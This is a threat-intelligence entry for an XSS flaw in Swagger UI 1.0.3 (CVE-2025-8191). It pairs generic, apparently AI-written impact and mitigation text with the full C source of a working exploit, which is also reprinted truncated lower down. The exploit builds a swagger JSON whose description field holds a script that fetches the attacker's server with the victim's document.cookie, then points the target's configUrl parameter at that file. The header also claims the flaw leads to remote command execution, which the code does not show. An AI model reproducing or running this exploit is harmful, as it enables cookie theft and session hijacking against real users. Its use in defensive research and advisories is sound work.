Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
AI Analysis
Technical Summary
The security threat concerns a Cross-Site Scripting (XSS) vulnerability in Swagger UI version 1.0.3. Swagger UI is a widely used open-source tool that generates interactive API documentation and testing interfaces from OpenAPI specifications. The vulnerability allows an attacker to inject malicious scripts into the Swagger UI interface, which are then executed in the context of the user's browser. This can lead to session hijacking, credential theft, or the execution of arbitrary actions on behalf of the user. The exploit targets the client-side rendering of user-supplied data without proper sanitization or encoding, a common cause of reflected or stored XSS vulnerabilities. The presence of exploit code written in C indicates that the exploit might be designed to automate or facilitate the attack, possibly by interacting with the Swagger UI server or by crafting malicious payloads. Since Swagger UI is often deployed as part of internal or external API documentation portals, this vulnerability can be remotely exploited by unauthenticated attackers if the affected version is publicly accessible. The lack of patch links suggests that no official fix is currently available, increasing the risk for organizations still using this version. The medium severity rating reflects the moderate impact and exploitability of the vulnerability, considering that exploitation requires the victim to access the malicious Swagger UI instance or a manipulated API documentation page.
Potential Impact
For European organizations, the impact of this XSS vulnerability can be significant, especially for companies that expose Swagger UI interfaces publicly or internally without proper access controls. Successful exploitation can lead to the compromise of user sessions, leakage of sensitive API keys or tokens, and unauthorized actions performed through the victim's browser. This can result in data breaches, unauthorized access to backend systems, and potential lateral movement within the network. Organizations in sectors such as finance, healthcare, and government, which often rely on APIs for critical services, are particularly at risk. Additionally, the reputational damage and regulatory consequences under GDPR for data exposure or inadequate security controls could be substantial. The threat is amplified if Swagger UI is integrated into customer-facing portals or developer platforms, increasing the attack surface and the number of potential victims.
Mitigation Recommendations
European organizations should immediately audit their environments to identify any instances of Swagger UI version 1.0.3 in use. Given the absence of official patches, mitigation should focus on the following specific actions: 1) Restrict access to Swagger UI interfaces using network segmentation, VPNs, or authentication mechanisms to prevent unauthorized access. 2) Implement Web Application Firewalls (WAFs) with custom rules to detect and block typical XSS payloads targeting Swagger UI. 3) Sanitize and validate all user inputs and API specifications before rendering in Swagger UI to prevent injection of malicious scripts. 4) Consider upgrading to a later, patched version of Swagger UI if available, or replace the vulnerable component with alternative API documentation tools that follow secure coding practices. 5) Monitor logs and network traffic for unusual activities indicative of exploitation attempts. 6) Educate developers and administrators about secure API documentation deployment and the risks of exposing Swagger UI publicly without protections.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Sweden, Belgium
Indicators of Compromise
- exploit-code: /* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS) * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <curl/curl.h> int portSel = 0; int portServerSel = 0; int selectFile = 0; const char *targetUrl = NULL; const char *cookies = NULL; const char *server = NULL; const char *yourFile = NULL; const char *payloadFile = "xss.json"; int targetPort = 0; int yourPort = 0; int verbose = 0; int useCookies = 0; struct Mem { char *buffer; size_t len; }; void exitAssembly() { __asm__ volatile ( "mov $231, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void createFile(const char *filename, const char *server) { FILE *f = fopen(filename, "w"); if (f == NULL) { printf("\e[1;31m[-] Error Create file (xss.json)!\e[0m\n"); exitAssembly(); } char payloadBuf[2048]; int lenFile = snprintf( payloadBuf, sizeof(payloadBuf), "{\n" " \"swagger\": \"2.0\",\n" " \"info\": {\n" " \"version\": \"1.0.0\",\n" " \"title\": \"XSS Injection Demo\",\n" " \"description\": \"<script>fetch('%s/steal?c='+encodeURIComponent(document.cookie))</script>\"\n" " },\n" " \"paths\": {}\n" "}", server ); if (lenFile <= 0 || lenFile >= sizeof(payloadBuf)) { printf("\e[1;31m[-] File payload too large!\e[0m\n"); fclose(f); exitAssembly(); } fwrite(payloadBuf, 1, lenFile, f); fclose(f); printf("\e[1;34m[+] File name: %s\e[0m\n", filename); printf("\e[1;34m[+] File created successfully.\e[0m\n"); printf("\e[1;35m============================= [PAYLOAD] =============================\e[0m\n"); printf("\e[1;34m[+] Payload content :\n%s\e[0m\n", payloadBuf); printf("\e[1;35m====================================================================\e[0m\n"); } void sendRequest(const char *baseUrl, int targetPort, const char *server, const char *payloadFile) { const char *filename = "xss.json"; createFile(filename, server); CURL *curl = curl_easy_init(); CURLcode res; char full[4000]; if (curl == NULL) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); exitAssembly(); } struct Mem server_Rsponse = { NULL, 0 }; server_Rsponse.buffer = NULL ; server_Rsponse.len = 0; if (curl) { if (portSel) { int len1 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len1 < 0 || len1 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len1); exitAssembly(); } } if (portServerSel) { int len2 = snprintf(full, sizeof(full), "%s/swagger-ui/index.html?configUrl=%s:%d/%s", baseUrl, server, yourPort, payloadFile); if (len2 < 0 || len2 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len2); exitAssembly(); } } if (selectFile) { int len3 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, yourFile); if (len3 < 0 || len3 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len3); exitAssembly(); } } else { int len4 = snprintf(full, sizeof(full), "%s:%d/swagger-ui/index.html?configUrl=%s/%s", baseUrl, targetPort, server, payloadFile); if (len4 < 0 || len4 >= (int)sizeof(full)) { printf("\e[1;31m[-] URL is Long !\e[0m\n"); printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len4); exitAssembly(); } } curl_easy_setopt(curl, CURLOPT_URL, full); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &server_Rsponse); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char ref[500]; snprintf(ref , sizeof(ref), "Referer: %s", server); headers = curl_slist_append(headers, ref); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { double timeD; double downloadTime; long httpCode = 0; long size; curl_off_t content_length; curl_off_t connectTime; curl_easy_getinfo(curl, CURLINFO_APPCONNECT_TIME, &connectTime); curl_easy_getinfo(curl, CURLINFO_SIZE_DOWNLOAD_T, &content_length); curl_easy_getinfo(curl, CURLINFO_HEADER_SIZE, &size); printf("\e[1;36m[+] Time: %" CURL_FORMAT_CURL_OFF_T ".%06ld\e[0m\n", connectTime / 1000000, (long)(connectTime % 1000000)); printf("\e[1;36m[+] Size: %.0f\n", connectTime); printf("\e[1;36m[+] Header size: %ld bytes\e[0m\n", size); printf("[+] Download size: %" CURL_FORMAT_CURL_OFF_T "\n", content_length); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeD); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Delay Time Response : %f\e[0m\n", timeD); printf("\e[1;37m[+] Input Url : %s\e[0m\n", baseUrl); if (portSel) { printf("\e[1;33m[+] Target Port Server : %d\e[0m\n", targetPort); } if (portServerSel) { printf("\e[1;33m[+] Your Port Server : %d\e[0m\n", yourPort); } printf("\e[1;33m[+] Your Server URL : %s\e[0m\n", server); printf("\e[1;37m[+] Full Url : %s\e[0m\n", full); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode); const char *foundKey[] = { "id=", "path", "host", "alert", "error", }; printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); int numberKey = sizeof(foundKey) /sizeof(foundKey[0]); int notFound = 0; for (int k = 0; k < numberKey; k++) { if (strstr(server_Rsponse.buffer, foundKey[k]) != NULL) { printf("\e[1;34m[+] Found Word In Response : %s\n", foundKey[k]); printf("\e[1;34m[+] The server suffers from the CVE-2025-8191 vulnerability.\e[0m\n"); printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } else { if (verbose) { printf("\e[1;31m[-] Not Found Word : %s\n",foundKey[k]); } notFound = 1; } } if (notFound) { printf("\e[1;31m[-] No suspicious words were found in the server's reply.\e[0m\n"); } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { printf("\e[1;35m[+] Response Server : =======================================\e[0m\n"); printf("%s\n", server_Rsponse.buffer); printf("\e[1;35m=============================================================\e[0m\n"); } } } else { printf("\e[1;31m[-] Error Send Request\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); printf("\e[1;31m[-] Please Check Your Connection !\e[0m\n"); exitAssembly(); } } if (server_Rsponse.buffer) { free(server_Rsponse.buffer); server_Rsponse.buffer = NULL; server_Rsponse.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▗ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▌▜ ▙▌▜ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▌▟▖▄▌▟▖ \n" ); printf("\e[1;37m [ Byte Reaper ]\n\e[0m"); printf("\e[1;37m [ Cross-Site Scripting ]\n\e[0m"); printf("\e[1;31m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &targetUrl, "Target Url (Base URL)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_STRING('s', "server", &server, "Your Server URL"), OPT_STRING('f', "file", &yourFile, "Name File (Json File Payload)"), OPT_INTEGER('p', "port", &targetPort, "Target Port Server"), OPT_INTEGER('b', "portS", &yourPort, "Enter Your Port Server"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!targetUrl && !server) { printf("\e[1;31m[-] Please Enter Your Url !\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u http://URL -s http://YOUR_SEVER \e[0m\n"); printf("\e[1;31m[-] Exit Syscall\e[0m\n"); exitAssembly(); } if (cookies) { useCookies = 1; } if (verbose) { verbose = 1; } if (targetPort) { portSel = 1; } if (yourPort) { portServerSel = 1; } if (yourFile) { selectFile = 1; } sendRequest(targetUrl, targetPort, server, selectFile ? yourFile : payloadFile); return 0; }
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
Description
Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
AI-Powered Analysis
Technical Analysis
The security threat concerns a Cross-Site Scripting (XSS) vulnerability in Swagger UI version 1.0.3. Swagger UI is a widely used open-source tool that generates interactive API documentation and testing interfaces from OpenAPI specifications. The vulnerability allows an attacker to inject malicious scripts into the Swagger UI interface, which are then executed in the context of the user's browser. This can lead to session hijacking, credential theft, or the execution of arbitrary actions on behalf of the user. The exploit targets the client-side rendering of user-supplied data without proper sanitization or encoding, a common cause of reflected or stored XSS vulnerabilities. The presence of exploit code written in C indicates that the exploit might be designed to automate or facilitate the attack, possibly by interacting with the Swagger UI server or by crafting malicious payloads. Since Swagger UI is often deployed as part of internal or external API documentation portals, this vulnerability can be remotely exploited by unauthenticated attackers if the affected version is publicly accessible. The lack of patch links suggests that no official fix is currently available, increasing the risk for organizations still using this version. The medium severity rating reflects the moderate impact and exploitability of the vulnerability, considering that exploitation requires the victim to access the malicious Swagger UI instance or a manipulated API documentation page.
Potential Impact
For European organizations, the impact of this XSS vulnerability can be significant, especially for companies that expose Swagger UI interfaces publicly or internally without proper access controls. Successful exploitation can lead to the compromise of user sessions, leakage of sensitive API keys or tokens, and unauthorized actions performed through the victim's browser. This can result in data breaches, unauthorized access to backend systems, and potential lateral movement within the network. Organizations in sectors such as finance, healthcare, and government, which often rely on APIs for critical services, are particularly at risk. Additionally, the reputational damage and regulatory consequences under GDPR for data exposure or inadequate security controls could be substantial. The threat is amplified if Swagger UI is integrated into customer-facing portals or developer platforms, increasing the attack surface and the number of potential victims.
Mitigation Recommendations
European organizations should immediately audit their environments to identify any instances of Swagger UI version 1.0.3 in use. Given the absence of official patches, mitigation should focus on the following specific actions: 1) Restrict access to Swagger UI interfaces using network segmentation, VPNs, or authentication mechanisms to prevent unauthorized access. 2) Implement Web Application Firewalls (WAFs) with custom rules to detect and block typical XSS payloads targeting Swagger UI. 3) Sanitize and validate all user inputs and API specifications before rendering in Swagger UI to prevent injection of malicious scripts. 4) Consider upgrading to a later, patched version of Swagger UI if available, or replace the vulnerable component with alternative API documentation tools that follow secure coding practices. 5) Monitor logs and network traffic for unusual activities indicative of exploitation attempts. 6) Educate developers and administrators about secure API documentation deployment and the risks of exposing Swagger UI publicly without protections.
Affected Countries
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Technical Details
- Edb Id
- 52392
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
/* * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-8191 * Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS) * Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server. * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <curl/curl.h> int portSel = 0; int portServerSel = 0; int selectFile = 0; const... (14823 more characters)
Threat ID: 68900844ad5a09ad00dd9df7
Added to database: 8/4/2025, 1:09:24 AM
Last enriched: 9/26/2025, 1:21:22 AM
Last updated: 10/2/2025, 1:24:08 AM
Views: 45
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